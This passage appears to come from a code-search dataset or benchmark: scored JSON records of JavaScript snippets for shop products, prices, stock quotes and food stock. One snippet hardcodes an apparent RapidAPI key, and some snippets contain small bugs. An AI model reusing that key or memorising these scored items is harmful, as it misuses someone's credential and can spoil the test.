"03daa789dbcc2c764928a98fb5852c69", "score": "0.51807797", "text": "function storeCatalogue (arrOfStr) {\n let obj = [];\n for (let str of arrOfStr) {\n let [item, price] = str.split(\" : \");\n let firstLetter = item.slice(0,1);\n if (obj.hasOwnProperty(firstLetter)) {\n obj[firstLetter][item] = price;\n continue;\n }\n obj[firstLetter] = {[item]:price}\n }\n let result = '';\n let lettArr = Array.from(Object.keys(obj))\n .sort();\n\n for (let l of lettArr) {\n\n result += l + \"\\n\";\n Object.keys(obj[l])\n .sort()\n .forEach(k => result += ` ${k}: ${obj[l][k]}\\n`);\n }\n console.log(result);\n}", "title": "" }, { "docid": "783c0b1a432388a354595ba5d5eb8b81", "score": "0.51726335", "text": "function Product(name, price) {\n this.name = name\n this.price = price\n}", "title": "" }, { "docid": "1463c8a76690c8003ba4f94ed8bfda7b", "score": "0.51404923", "text": "getCoinsSpecificStock(coin) {\n return `There is now ${this.coins[coin].stock} left.`;\n }", "title": "" }, { "docid": "b9efb83a1c7b645b5d4003f66f261d0a", "score": "0.51353973", "text": "function findPrimaryIndicatorsResult_price(){\n\tthis.numOfDollarSign = 0;\n\tthis.indexOfDollarSign = [];\n\tthis.price = null;\n}", "title": "" }, { "docid": "509a3108d573f62aa79f7b03a2db3ffd", "score": "0.5133011", "text": "function shop(){\n \n shoppingCart.selectedProducts.forEach(sp => {\n products.forEach( p => {\n p.id === sp.id ? p.stock-- : ''\n // p.id === sp.id ? p.stock = p.stock - 1 : ''\n })\n })\n \n shoppingCart.selectedProducts = [];\n shoppingCart.totalPrice = 0;\n}", "title": "" }, { "docid": "c32520f1df7a18d5ccef16a6f059eb42", "score": "0.5125473", "text": "function showStockDetails(selectedStock) {\n data.forEach(function (stock) {\n if (stock.ticker == selectedStock) {\n document.getElementById('symbol').innerHTML = \"Symbol: \" + stock.ticker;\n document.getElementById('previousClose').innerHTML = \"Previous Close: $\" + parseFloat(stock.previous_close).toFixed(2);\n document.getElementById('beta').innerHTML = \"Beta: \" + parseFloat(stock.beta).toFixed(2);\n document.getElementById('environmentScore').innerHTML = \"Environment Score: \" + parseFloat(stock.environmentScore).toFixed(2);\n document.getElementById('governanceScore').innerHTML = \"Governance Score: \" + parseFloat(stock.governanceScore).toFixed(2);\n document.getElementById('socialScore').innerHTML = \"Social Score: \" + parseFloat(stock.socialScore).toFixed(2);\n document.getElementById('yield').innerHTML = \"Yield: \" + (parseFloat(stock.yield) * 100).toFixed(2) + \"%\";\n document.getElementById('ytdReturn').innerHTML = \"YTD Return: \" + (parseFloat(stock.ytdReturn) * 100).toFixed(2) + \"%\";\n }}) \n }", "title": "" }, { "docid": "04ebbd00bfc4ebe96637b24d6b05e5bc", "score": "0.5113282", "text": "function setPrices(s1){\n for(let i =0 ; i < s1.length; i++){\n s[s1[i].symbol] = s1[i].price;\n }\n\n // console.log(s);\n}", "title": "" }, { "docid": "cb8e00d0591d28b7edb4f85a245eb3bf", "score": "0.5112288", "text": "function getStockSymbols_02(stocks) {\n return stocks.map(stock=> {\n return stock.symbol;\n })\n}", "title": "" }, { "docid": "7305dd4d499070d8c58441668d8d066b", "score": "0.5109168", "text": "function readStock(data){\n foodS = data.val();\n }", "title": "" }, { "docid": "7305dd4d499070d8c58441668d8d066b", "score": "0.5109168", "text": "function readStock(data){\n foodS = data.val();\n }", "title": "" }, { "docid": "7305dd4d499070d8c58441668d8d066b", "score": "0.5109168", "text": "function readStock(data){\n foodS = data.val();\n }", "title": "" }, { "docid": "08ca66a91e130f9f279e5700ddc29337", "score": "0.5106342", "text": "function nameUnitPrice(items) {\n var lai=loadAllItems();\n for(var i=0;i<items.length;i++) {\n for (var j = 0; j < lai.length; j++) {\n var item = items[i];\n if (item.barcode == lai[j].barcode) {\n item.name = lai[j].name;\n item.unit = lai[j].unit;\n item.price = lai[j].price;\n item.subtotal = item.price*item.count;\n }\n }\n }\n return items;\n}", "title": "" }, { "docid": "ec88c52d64015bf03089716333f96dfe", "score": "0.5102772", "text": "function shirts(image, name, price) {\n\tthis.image = image;\n\tthis.name = name;\n\tthis.price = price;\n}", "title": "" }, { "docid": "1900094064866dce2cfc1b7d07cd9746", "score": "0.5097315", "text": "'BUY_STOCK'(state, { stockId, quantity, stockPrice }) {\n //find() loops through array an finds the appropriate element\n console.log(\"stockId: \"+ stockId + \"; quantity: \"+quantity+\"; stockPrice: \"+stockPrice)\n const record = state.myStocks.find(element => element.id == stockId);\n if (record) {\n record.quantity = parseInt(record.quantity) + parseInt(quantity)\n } else {\n state.myStocks.push({\n id: stockId,\n quantity: quantity\n })\n }\n state.funds -= stockPrice * quantity;\n }", "title": "" }, { "docid": "75cd34438b40047ab56bf07aa710f2e6", "score": "0.5094705", "text": "constructor(name,price,model){\n this.name = name,\n this.price = price,\n this.model= model\n //traduccion: de este producto su name, etc va a ser asignado del name que le paso al constructor. \n\n }", "title": "" }, { "docid": "f290c5e5f87b43c23eaaf5829e7d8f8b", "score": "0.5084674", "text": "function Purchase(name, price){\n this.name = name;\n this.price = price;\n //hold an array of names of people splitting this purchase\n this.buyers = [];\n}", "title": "" }, { "docid": "27b87e51cf2035cf97499cfd9d53cbbf", "score": "0.50843525", "text": "function readStock(data){\n foodStock-data.val();\n}", "title": "" }, { "docid": "591da725499e8624b56fb5bf31d4b7d8", "score": "0.5077837", "text": "function readStock(data){ \n foodS=data.val(); }", "title": "" }, { "docid": "142f4edd70a397ee45911487c2d2e99f", "score": "0.5076194", "text": "function drinksDesserts(id, list){\n\tfor(var i=0;i<list.length;i++){\n\t\tvar p=$('<p>').text(list[i].name).appendTo(id);\n\t\tvar span = $('<span>').addClass(\"price\").text(\"$\"+list[i].price)\n\t\t\t\t\t\t.appendTo(p);\n\t}\n}", "title": "" }, { "docid": "bf7943f8416db0da098ea6f91b6b270d", "score": "0.5075986", "text": "function currency(object) {\n for (let i = 0; i < object.length; i++) {\n if (object.length == 1) {\n return \" \" + object[0].name + \"'s.\";\n }\n if (object.length == 2) {\n return \" \" + object[0].name + \"'s and \" + object[1].name + \"'s.\";\n }\n if (object.length == 3) {\n return \" \" + object[0].name + \"'s , \" + object[1].name + \"'s and \" + object[2].name + \"'s.\";\n }\n }\n}", "title": "" }, { "docid": "2618f0db9d1315198ed28400ef36ea85", "score": "0.5070125", "text": "function Product(name, price) {\n this.name = name;\n this.price = price;\n}", "title": "" }, { "docid": "2618f0db9d1315198ed28400ef36ea85", "score": "0.5070125", "text": "function Product(name, price) {\n this.name = name;\n this.price = price;\n}", "title": "" }, { "docid": "b878d029a124c79b5daf031c0e490e5c", "score": "0.5060649", "text": "function Item (name, barcode, sellingPrice, buyingPrice) {\n this.name = name;\n this.barcode = barcode;\n this.sellingPrice = sellingPrice;\n this.buyingPrice = buyingPrice;\n}", "title": "" }, { "docid": "1dd8b0d4bfc3efe788a34b11ffd459a0", "score": "0.5051212", "text": "get price() {// my getter to return the price\n return \"$\" + this.#price;\n }", "title": "" }, { "docid": "8f3dfeaef62444a741d84552a26751a2", "score": "0.50464135", "text": "function Product(name, price, inStock) {\n\tthis.prodName = name;\n\tthis.price = price;\n\tthis.inStock = inStock;\n\n\tthis.setStock = function(stock){\n\t\tthis.inStock = stock;\n \t\n\n\t};\n}", "title": "" }, { "docid": "37114b80d9e8c6a3f014feb11e9b65bd", "score": "0.50443816", "text": "function readStock(data){\n foodS=data.val();\n food.updateFoodStock(foodS);\n }", "title": "" }, { "docid": "066960fa5a34fc0fd21a1124e5f46dc8", "score": "0.50402904", "text": "function readStock(data) {\n foodS = data.val();\n}", "title": "" }, { "docid": "066960fa5a34fc0fd21a1124e5f46dc8", "score": "0.50402904", "text": "function readStock(data) {\n foodS = data.val();\n}", "title": "" }, { "docid": "9621ebc52f1f02b5f104fceca80d6bac", "score": "0.5039883", "text": "function electronics()\r\n{\r\n this.name\r\n this.make\r\n this.color\r\n this.price\r\n this.origin \r\n\r\n}", "title": "" }, { "docid": "a93b7153c02b125e6c18bd22dccd76f1", "score": "0.5022997", "text": "transform(price) {\n return {\n id: Hashids.encode(price.id),\n amount: price.amount,\n };\n }", "title": "" }, { "docid": "66d046fadf290f9c65d3988df8cfc92c", "score": "0.5015914", "text": "function renderInfo(stockData) {\n\t\n\t//create object from JSON response\n\tvar myStock = {\n\t\tname: stockData.Elements[0].Symbol,\n\t\tmaxOpenPrice: stockData.Elements[0].DataSeries.open.max,\n\t\tminOpenPrice: stockData.Elements[0].DataSeries.open.min,\n\t\tmaxClosePrice: stockData.Elements[0].DataSeries.close.max,\n\t\tminClosePrice: stockData.Elements[0].DataSeries.close.min,\n\t\tpeakPrice: stockData.Elements[0].DataSeries.high.max,\n\t\tlowPrice: stockData.Elements[0].DataSeries.low.min\n\t};\n\t\n\t\n\t$('#symbol').text(myStock.name);\n\t\n\t$('#max-open').text(myStock.maxOpenPrice);\n\t$('#min-open').text(myStock.minOpenPrice);\n\t\n\t$('#max-close').text(myStock.maxClosePrice);\n\t$('#min-close').text(myStock.minClosePrice);\n\n\t$('#peak').text('Peak: $' + myStock.peakPrice);\n\t$('#low').text('low: $' + myStock.lowPrice);\n}", "title": "" }, { "docid": "340536f91e2280372aa3a0b509497966", "score": "0.50121444", "text": "function readStock(data){\n food = data.val(); //transferring data from database to position\n\n}", "title": "" }, { "docid": "2d1353c8814a038566fe52b7d6ef6f0c", "score": "0.5007957", "text": "constructor(name, price) {\n\t\tthis.name = name;\n\t\tthis.price = price;\n\t}", "title": "" }, { "docid": "73d7938d2c157c2dc0d60f2b96950d50", "score": "0.5004893", "text": "function main(){\r\n\r\n //create all of your stocks\r\n let stk1 = new Stock(\"Netflix Inc\",\"NFLX\",\"NASDAQ\",192.71,60);\r\n let stk2 = new Stock(\"World Wrestling Entertainment Inc\",\"WWE\",\"NYSE\",27.00,900);\r\n let stk3 = new Stock(\"Microsoft Corp\",\"MSFT\",\"NASDAQ\",83.51,35);\r\n let stk4 = new Stock(\"Twitter Inc\",\"TWTR\",\"NASDAQ\",20.03,550);\r\n\r\n //build your Portfolio\r\n let myport = new Portfolio();\r\n myport.add(stk1);\r\n myport.add(stk2);\r\n myport.add(stk3);\r\n myport.add(stk4);\r\n\r\n //generate a test forcast\r\n\r\nconsole.log(myport.totalValue());\r\n //build prediction\r\n}", "title": "" }, { "docid": "9141a667380d7e31257636df9c30849b", "score": "0.5001641", "text": "function displayCurrentStockInfo(symbol, currentPrice, openPrice, lowPrice, highPrice, prevPrice){\n document.getElementsByClassName('stock-heading')[0].innerText = `${symbol}`;\n document.getElementsByClassName('current-price')[0].innerText = `Current price: ${currentPrice}`;\n document.getElementsByClassName('open')[0].innerHTML = `Open price: ${openPrice}`;\n document.getElementsByClassName('low')[0].innerHTML = `Low price: ${lowPrice}`;\n document.getElementsByClassName('high')[0].innerHTML = `High price: ${highPrice}`;\n document.getElementsByClassName('previous-close')[0].innerHTML = `Previous price: ${prevPrice}`;\n}", "title": "" }, { "docid": "000e8e566cdb699a55bf32a61406fbe3", "score": "0.49943206", "text": "addStock(companyName, numberOfStocks) {\n let existingStocks = this.getNumberOfStocks(companyName); \n this.stocks[companyName] = (existingStocks | 0) + numberOfStocks;\n }", "title": "" }, { "docid": "848dbe9f9b3e12f096ae811e67409f05", "score": "0.4985824", "text": "function viewLowInventory() {\n connection.query(\"SELECT * FROM products\", function (err, res) {\n if (err) throw err;\n var table = new Table({\n head: [\"ID\", \"Product Name\", \"Department\", \"Price\", \"Stock Quantity\"]\n });\n\n for (var i = 0; i < res.length; i++) {\n if (res[i].stock < 5) {\n table.push([res[i].item_id, res[i].product_name, res[i].department_name, res[i].price.toFixed(2), res[i].stock]);\n };\n };\n console.log(table.toString());\n start();\n });\n}", "title": "" }, { "docid": "c8715c02561e0c30818dfb9682c59bc8", "score": "0.49806714", "text": "function readStock(data){\n foodS = data.val();\n}", "title": "" }, { "docid": "c8715c02561e0c30818dfb9682c59bc8", "score": "0.49806714", "text": "function readStock(data){\n foodS = data.val();\n}", "title": "" }, { "docid": "c8715c02561e0c30818dfb9682c59bc8", "score": "0.49806714", "text": "function readStock(data){\n foodS = data.val();\n}", "title": "" }, { "docid": "ccd30a204634c24a0968f08cdb579781", "score": "0.49727648", "text": "function dish(name, ingredients, price) {\n return {\n name: name,\n ingredients: ingredients,\n price: price\n };\n}", "title": "" }, { "docid": "5670e33b6f58272c647930cc601427d0", "score": "0.49714065", "text": "function displayPrice(candidate) {\n let priceLevelHTML = \"\";\n if (typeof candidate.price_level !== 'undefined' || candidate.price_level > 0) {\n for (let i = 0; i < candidate.price_level; i++) {\n priceLevelHTML += `<i class=\"price fas fa-dollar-sign\"></i>`;\n }\n }\n return priceLevelHTML;\n}", "title": "" }, { "docid": "0b9a801e34e2855dae5cd923e3d95690", "score": "0.49657384", "text": "function priceLevel(price) {\n switch (price) {\n case undefined:\n return 'No price info';\n break;\n case 0:\n return 'Free';\n break;\n case 1:\n return '$';\n break;\n case 2:\n return '$$';\n break;\n case 3:\n return '$$$';\n break;\n case 4:\n return '$$$$';\n break;\n }\n}", "title": "" }, { "docid": "512f812c1d597e21965be7932a119d35", "score": "0.49638224", "text": "function getPrice(itemObject) {\n return itemObject.price;\n\n}", "title": "" }, { "docid": "02c006596350b807bc87335578df8e87", "score": "0.4958753", "text": "function getCurrentStockPrice() {\n return 100;\n}", "title": "" }, { "docid": "fa466e337bb12448777be94db0de8731", "score": "0.49523714", "text": "function createBookShop(inventory) {\r\n return {\r\n // inventory: inventory,\r\n inventory,\r\n //inventoryValue: function() {}\r\n inventoryValue() {\r\n return this.inventory.reduce((sum, book) => sum + book.price, 0);\r\n\r\n },\r\n //priceForTitle: function(title) {\r\n priceForTitle(title) {\r\n return this.inventory.find(book => book.title === title).price;\r\n }\r\n };\r\n}", "title": "" }, { "docid": "251cbca81635ebbc5735599323b60134", "score": "0.4948659", "text": "function readStock(data){\n foodS=data.val();\n}", "title": "" }, { "docid": "251cbca81635ebbc5735599323b60134", "score": "0.4948659", "text": "function readStock(data){\n foodS=data.val();\n}", "title": "" }, { "docid": "251cbca81635ebbc5735599323b60134", "score": "0.4948659", "text": "function readStock(data){\n foodS=data.val();\n}", "title": "" }, { "docid": "7b60bfe9e4628b7da820c1b31976daa9", "score": "0.494402", "text": "function renderShoesForDesigner(name, shoes) {\n shoes.map(function(shoe) {\n return [name, shoe.name, shoe.price].join(\", \");\n });\n}", "title": "" }, { "docid": "1caa5ac5742787468b14799fc3c490b7", "score": "0.4940396", "text": "function readStock(data){\nfoods = data.val();\n}", "title": "" }, { "docid": "abe923c1970943b8a376e2d9d9e4d0f2", "score": "0.4930959", "text": "checkStock() {\n for (var x = 0; x < this.items.length; x++) {\n if (this.items[x].stock <= 2) {\n this.addStock(this.items[x].name);\n }\n }\n }", "title": "" }, { "docid": "fb72e3a11217abbe6a965b7b7f9d550a", "score": "0.4924636", "text": "function getChemical() {\n return {elements: [\n {id: 1, symbol: \"H\", name: \"Hydrogen\"},\n {id: 2, symbol: \"He\", name: \"Helium\"},\n {id: 3, symbol: \"Li\", name: \"Lithium\"},\n {id: 4, symbol: \"Be\", name: \"Beryllium\"},\n {id: 5, symbol: \"B\", name: \"Boron\"},\n {id: 6, symbol: \"C\", name: \"Carbon\"},\n {id: 7, symbol: \"N\", name: \"Nitrogen\"},\n {id: 8, symbol: \"O\", name: \"Oxygen\"},\n {id: 9, symbol: \"F\", name: \"Fluorine\"},\n {id: 10, symbol: \"Ne\", name: \"Neon\"},\n {id: 11, symbol: \"Na\", name: \"Sodium\"},\n {id: 12, symbol: \"Mg\", name: \"Magnesium\"},\n {id: 13, symbol: \"Al\", name: \"Aluminum, Aluminium\"},\n {id: 14, symbol: \"Si\", name: \"Silicon\"},\n {id: 15, symbol: \"P\", name: \"Phosphorus\"},\n {id: 16, symbol: \"S\", name: \"Sulfur\"},\n {id: 17, symbol: \"Cl\", name: \"Chlorine\"},\n {id: 18, symbol: \"Ar\", name: \"Argon\"},\n {id: 19, symbol: \"K\", name: \"Potassium\"},\n {id: 20, symbol: \"Ca\", name: \"Calcium\"},\n {id: 21, symbol: \"Sc\", name: \"Scandium\"},\n {id: 22, symbol: \"Ti\", name: \"Titanium\"},\n {id: 23, symbol: \"V\", name: \"Vanadium\"},\n {id: 24, symbol: \"Cr\", name: \"Chromium\"},\n {id: 25, symbol: \"Mn\", name: \"Manganese\"},\n {id: 26, symbol: \"Fe\", name: \"Iron\"},\n {id: 27, symbol: \"Co\", name: \"Cobalt\"},\n {id: 28, symbol: \"Ni\", name: \"Nickel\"},\n {id: 29, symbol: \"Cu\", name: \"Copper\"},\n {id: 30, symbol: \"Zn\", name: \"Zinc\"},\n {id: 31, symbol: \"Ga\", name: \"Gallium\"},\n {id: 32, symbol: \"Ge\", name: \"Germanium\"},\n {id: 33, symbol: \"As\", name: \"Arsenic\"},\n {id: 34, symbol: \"Se\", name: \"Selenium\"},\n {id: 35, symbol: \"Br\", name: \"Bromine\"},\n {id: 36, symbol: \"Kr\", name: \"Krypton\"},\n {id: 37, symbol: \"Rb\", name: \"Rubidium\"},\n {id: 38, symbol: \"Sr\", name: \"Strontium\"},\n {id: 39, symbol: \"Y\", name: \"Yttrium\"},\n {id: 40, symbol: \"Zr\", name: \"Zirconium\"},\n {id: 41, symbol: \"Nb\", name: \"Niobium\"},\n {id: 42, symbol: \"Mo\", name: \"Molybdenum\"},\n {id: 43, symbol: \"Tc\", name: \"Technetium\"},\n {id: 44, symbol: \"Ru\", name: \"Ruthenium\"},\n {id: 45, symbol: \"Rh\", name: \"Rhodium\"},\n {id: 46, symbol: \"Pd\", name: \"Palladium\"},\n {id: 47, symbol: \"Ag\", name: \"Silver\"},\n {id: 48, symbol: \"Cd\", name: \"Cadmium\"},\n {id: 49, symbol: \"In\", name: \"Indium\"},\n {id: 50, symbol: \"Sn\", name: \"Tin\"},\n {id: 51, symbol: \"Sb\", name: \"Antimony\"},\n {id: 52, symbol: \"Te\", name: \"Tellurium\"},\n {id: 53, symbol: \"I\", name: \"Iodine\"},\n {id: 54, symbol: \"Xe\", name: \"Xenon\"},\n {id: 55, symbol: \"Cs\", name: \"Cesium\"},\n {id: 56, symbol: \"Ba\", name: \"Barium\"},\n {id: 57, symbol: \"La\", name: \"Lanthanum\"},\n {id: 58, symbol: \"Ce\", name: \"Cerium\"},\n {id: 59, symbol: \"Pr\", name: \"Praseodymium\"},\n {id: 60, symbol: \"Nd\", name: \"Neodymium\"},\n {id: 61, symbol: \"Pm\", name: \"Promethium\"},\n {id: 62, symbol: \"Sm\", name: \"Samarium\"},\n {id: 63, symbol: \"Eu\", name: \"Europium\"},\n {id: 64, symbol: \"Gd\", name: \"Gadolinium\"},\n {id: 65, symbol: \"Tb\", name: \"Terbium\"},\n {id: 66, symbol: \"Dy\", name: \"Dysprosium\"},\n {id: 67, symbol: \"Ho\", name: \"Holmium\"},\n {id: 68, symbol: \"Er\", name: \"Erbium\"},\n {id: 69, symbol: \"Tm\", name: \"Thulium\"},\n {id: 70, symbol: \"Yb\", name: \"Ytterbium\"},\n {id: 71, symbol: \"Lu\", name: \"Lutetium\"},\n {id: 72, symbol: \"Hf\", name: \"Hafnium\"},\n {id: 73, symbol: \"Ta\", name: \"Tantalum\"},\n {id: 74, symbol: \"W\", name: \"Tungsten\"},\n {id: 75, symbol: \"Re\", name: \"Rhenium\"},\n {id: 76, symbol: \"Os\", name: \"Osmium\"},\n {id: 77, symbol: \"Ir\", name: \"Iridium\"},\n {id: 78, symbol: \"Pt\", name: \"Platinum\"},\n {id: 79, symbol: \"Au\", name: \"Gold\"},\n {id: 80, symbol: \"Hg\", name: \"Mercury\"},\n {id: 81, symbol: \"Tl\", name: \"Thallium\"},\n {id: 82, symbol: \"Pb\", name: \"Lead\"},\n {id: 83, symbol: \"Bi\", name: \"Bismuth\"},\n {id: 84, symbol: \"Po\", name: \"Polonium\"},\n {id: 85, symbol: \"At\", name: \"Astatine\"},\n {id: 86, symbol: \"Rn\", name: \"Radon\"},\n {id: 87, symbol: \"Fr\", name: \"Francium\"},\n {id: 88, symbol: \"Ra\", name: \"Radium\"},\n {id: 89, symbol: \"Ac\", name: \"Actinium\"},\n {id: 90, symbol: \"Th\", name: \"Thorium\"},\n {id: 91, symbol: \"Pa\", name: \"Protactinium\"},\n {id: 92, symbol: \"U\", name: \"Uranium\"},\n {id: 93, symbol: \"Np\", name: \"Neptunium\"},\n {id: 94, symbol: \"Pu\", name: \"Plutonium\"},\n {id: 95, symbol: \"Am\", name: \"Americium\"},\n {id: 96, symbol: \"Cm\", name: \"Curium\"},\n {id: 97, symbol: \"Bk\", name: \"Berkelium\"},\n {id: 98, symbol: \"Cf\", name: \"Californium\"},\n {id: 99, symbol: \"Es\", name: \"Einsteinium\"},\n {id: 100, symbol: \"Fm\", name: \"Fermium\"},\n {id: 101, symbol: \"Md\", name: \"Mendelevium\"},\n {id: 102, symbol: \"No\", name: \"Nobelium\"},\n {id: 103, symbol: \"Lr\", name: \"Lawrencium\"},\n {id: 104, symbol: \"Rf\", name: \"Rutherfordium\"},\n {id: 105, symbol: \"Db\", name: \"Dubnium\"},\n {id: 106, symbol: \"Sg\", name: \"Seaborgium\"},\n {id: 107, symbol: \"Bh\", name: \"Bohrium\"},\n {id: 108, symbol: \"Hs\", name: \"Hassium\"},\n {id: 109, symbol: \"Mt\", name: \"Meitnerium\"},\n {id: 110, symbol: \"Ds\", name: \"Darmstadtium\"},\n {id: 111, symbol: \"Rg\", name: \"Roentgenium\"},\n {id: 112, symbol: \"Cn\", name: \"Copernicium\"},\n {id: 113, symbol: \"Nh\", name: \"Nihonium\"},\n {id: 114, symbol: \"Fl\", name: \"Flerovium\"},\n {id: 115, symbol: \"Mc\", name: \"Moscovium\"},\n {id: 116, symbol: \"Lv\", name: \"Livermorium\"},\n {id: 117, symbol: \"Ts\", name: \"Tennessine\"},\n {id: 118, symbol: \"Og\",name: \"Oganesson\"}\n ]}.elements[Math.floor(Math.random() * 118)];\n}", "title": "" }, { "docid": "e672a0ab98a55e0648312983a72ba373", "score": "0.49242356", "text": "function getDiscountedPrices()\r\n{\r\n\r\n}", "title": "" }, { "docid": "c04e0f910a1b9b27f12b2c8cb95d1ff5", "score": "0.4921951", "text": "function getInfo() {\n var producto = data;\n var names = [];\n var prices = [];\n var available = [];\n\n for (var i = 0; i < producto.length; i++) {\n\n names.push(producto[i].name);\n prices.push(producto[i].price);\n available.push(producto[i].stock);\n\n //console.log(names);\n\n }\n //console.log(names, prices, available);\n}", "title": "" }, { "docid": "ebe4913109eadafa9fe33e2a527451dd", "score": "0.492059", "text": "function getUserStock () {\n\t\tconst userStock = userStocks.find(userStock => userStock.symbol.toLowerCase() === symbol.toLowerCase())\n\n\t\treturn userStock\n\t}", "title": "" }, { "docid": "6f040914b2f6d7f4d9462a121cde11c9", "score": "0.4916098", "text": "function OrdersProducts({\n name,\n flavour,\n complement,\n qtd,\n id,\n}) {\n return (\n <div key={id}>\n <span>{qtd} </span>\n <span>{name} </span>\n <span>{flavour} </span>\n <span>{complement} </span>\n </div>\n );\n}", "title": "" }, { "docid": "155df9a283171c9ab97e2366615f253c", "score": "0.4907249", "text": "function getStockInfo(stocks) {\n // this checks if there are stocks to pull data on and returns if not\n\n if (!stocks) {\n return;\n }\n\n // this empties the stock info so the new info can be loaded.\n $(\"#stocks\").empty();\n\n // this creates the rows and columns for the stock info\n var stockTable = $(\"#stocks\");\n var stockInfo = $(\"<div class='row center-align'>\");\n\n var stockSymbolCol = $(\"<div class=col>\");\n // todo - need to left align the txt in these columns. Should we change the change box to red/green?\n var stockPriceCol = $(\"<div class='col right-align'>\");\n var stockChangeCol = $(\"<div class='col right-align'>\");\n\n stockTable.append(stockInfo);\n stockInfo.append(stockSymbolCol, stockPriceCol, stockChangeCol);\n\n // This loops through each stock symbol and adds the info to the above columns for each stock\n stocks.forEach(function(stock) {\n var settings = {\n async: true,\n crossDomain: true,\n url: \"https://investors-exchange-iex-trading.p.rapidapi.com/stock/\" + stock + \"/book\",\n method: \"GET\",\n headers: {\n \"x-rapidapi-host\": \"investors-exchange-iex-trading.p.rapidapi.com\",\n \"x-rapidapi-key\": \"c0593c10a5mshb8e9442c232450cp1271e5jsnaee83b8acf7c\"\n }\n };\n\n $.ajax(settings).done(function(response) {\n var stockData = response.quote;\n\n var stockSymbol = stockData.symbol;\n var stockPrice = stockData.latestPrice;\n stockChange = stockData.latestPrice - stockData.previousClose;\n\n var stockSymbolEl = $(\"</p>\").text(stockSymbol);\n var stockPriceEl = $(\"</p>\").text(stockPrice.toFixed(2));\n var stockChangeEl = $(\"</p>\").text(stockChange.toFixed(2));\n\n if (stockChange < 0) {\n stockChangeEl.css('color', 'red');\n }\n if (stockChange > 0) {\n stockChangeEl.css('color', 'green');\n }\n\n stockSymbolCol.append(stockSymbolEl);\n stockPriceCol.append(stockPriceEl);\n stockChangeCol.append(stockChangeEl);\n });\n });\n }", "title": "" }, { "docid": "423880d9eb46d2388cf7a3a07f279608", "score": "0.490376", "text": "function showLowStock() {\r\n connection.query('SELECT * from products', function (err, results) {\r\n if (err) throw err;\r\n var table = new Table({\r\n head: ['id', 'item', 'price', 'quantity'],\r\n colWidths: [5, 70, 13, 10]\r\n });\r\n for (var i = 0; i < results.length; i++) {\r\n if (results[i].stock_quantity < 5) {\r\n table.push(\r\n [(JSON.parse(JSON.stringify(results))[i][\"item_id\"]), (JSON.parse(JSON.stringify(results))[i][\"product_name\"]),\r\n (\"$ \" + JSON.parse(JSON.stringify(results))[i][\"price\"]), (JSON.parse(JSON.stringify(results))[i][\"stock_quantity\"])]);\r\n }\r\n }\r\n console.log(colors.red('_______________________________________________________________________________________________________'));\r\n console.log(\"\\n\" + table.toString());\r\n console.log(colors.red('_______________________________________________________________________________________________________'));\r\n console.log(\"\");\r\n });\r\n setTimeout(managerMenu, 1000);\r\n}", "title": "" }, { "docid": "343d74b0ab36a780335248fe69731fff", "score": "0.49011442", "text": "function readStock(data)\n{ \n foodS=data.val();\n}", "title": "" }, { "docid": "8b8fade774b1e5c4e6e69f41abd5ebb6", "score": "0.4898906", "text": "function Store(items) {\n this.name = 'Walmart',\n this.type = 'Department Store',\n this.item = function() {\n if (items > 5000000) {\n return `${this.type}: Stocked`;\n } else {\n return `${this.type}: Empty`;\n }\n }\n}", "title": "" }, { "docid": "ef87c8d1ed31471b1a4de54dd212cb21", "score": "0.48970675", "text": "getItems(name) {\n\t\t// find needs a function to know what to look for\n\t\t// x is a placeholder variable for the array\n\t\t// looks for array.item and sees if it matches the input\n\t\tconst getItem = this.list.find(x => x.item === name);\n\t\treturn `The price of ${name} is ${getItem.price}`;\n\t}", "title": "" }, { "docid": "eefe4ef06764cee38c58964beca51702", "score": "0.48928803", "text": "function readStock(data){\n foodS=data.val()\n}", "title": "" }, { "docid": "be51f6367b2ecc3e450a1fc47f48f0f8", "score": "0.48845175", "text": "function displayPieces(myPieces) {\n var i = 0;\n $('li > span').each(function() {\n $(this).text([myPieces.pieces[i].amount].join(''));\n i++;\n });\n}", "title": "" }, { "docid": "d65453ecfc0d3c280934472ae01e7517", "score": "0.48806053", "text": "function readStock(data){\n foodS= data.val();\n foodObj.updateFoodStock(foodS);\n}", "title": "" }, { "docid": "5408edb03a70d884cdc81d3c9ffbbc2a", "score": "0.48801565", "text": "function GetProduct( id ){\n\tvar p \t\t\t\t\t\t= new Object();\n\tp.name \t\t\t\t\t\t= \"\";\n\tp.id \t\t\t\t\t\t= null;\n\tp.price \t\t\t\t\t= 0;\n\tp.shipping\t \t\t\t\t= 0;\n\tp.tax\t\t\t\t\t\t= 0;\n\tp.search = \"\";\n\tp.weight = 0;\n\tp.taxexemption = 0;\n\t\n\t//-- Run through the array\n\tfor ( x=0; x < s.length; x++ ){\n\t\tvar sp = s[x].split(\"^\");\n\t\t//if ( sp[1].substring(0,sp[1].length-4) == id ){\n\t\tif ( sp[9] == id ){\n\t\t\tp.id \t\t\t\t\t\t= id;\n\t\t\tp.name\t\t\t\t\t\t= sp[0];\n\t\t\tp.price \t\t\t\t\t= sp[4];\n\t\t\tp.shipping\t \t\t\t= sp[5];\n\t\t\tp.tax\t\t\t\t\t\t= sp[6] / 100;\n\t\t\tp.search = sp[7];\n\t\t\tp.weight = sp[8];\n\t\t\tif ( typeof(sp[10]) == \"undefined\" ) {\n\t\t\t\tp.taxexemption = 0;\n\t\t\t} else {\n\t\t\t\tp.taxexemption = sp[10];\n\t\t\t}\n\t\t\t\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn p;\n}", "title": "" }, { "docid": "5408edb03a70d884cdc81d3c9ffbbc2a", "score": "0.48801565", "text": "function GetProduct( id ){\n\tvar p \t\t\t\t\t\t= new Object();\n\tp.name \t\t\t\t\t\t= \"\";\n\tp.id \t\t\t\t\t\t= null;\n\tp.price \t\t\t\t\t= 0;\n\tp.shipping\t \t\t\t\t= 0;\n\tp.tax\t\t\t\t\t\t= 0;\n\tp.search = \"\";\n\tp.weight = 0;\n\tp.taxexemption = 0;\n\t\n\t//-- Run through the array\n\tfor ( x=0; x < s.length; x++ ){\n\t\tvar sp = s[x].split(\"^\");\n\t\t//if ( sp[1].substring(0,sp[1].length-4) == id ){\n\t\tif ( sp[9] == id ){\n\t\t\tp.id \t\t\t\t\t\t= id;\n\t\t\tp.name\t\t\t\t\t\t= sp[0];\n\t\t\tp.price \t\t\t\t\t= sp[4];\n\t\t\tp.shipping\t \t\t\t= sp[5];\n\t\t\tp.tax\t\t\t\t\t\t= sp[6] / 100;\n\t\t\tp.search = sp[7];\n\t\t\tp.weight = sp[8];\n\t\t\tif ( typeof(sp[10]) == \"undefined\" ) {\n\t\t\t\tp.taxexemption = 0;\n\t\t\t} else {\n\t\t\t\tp.taxexemption = 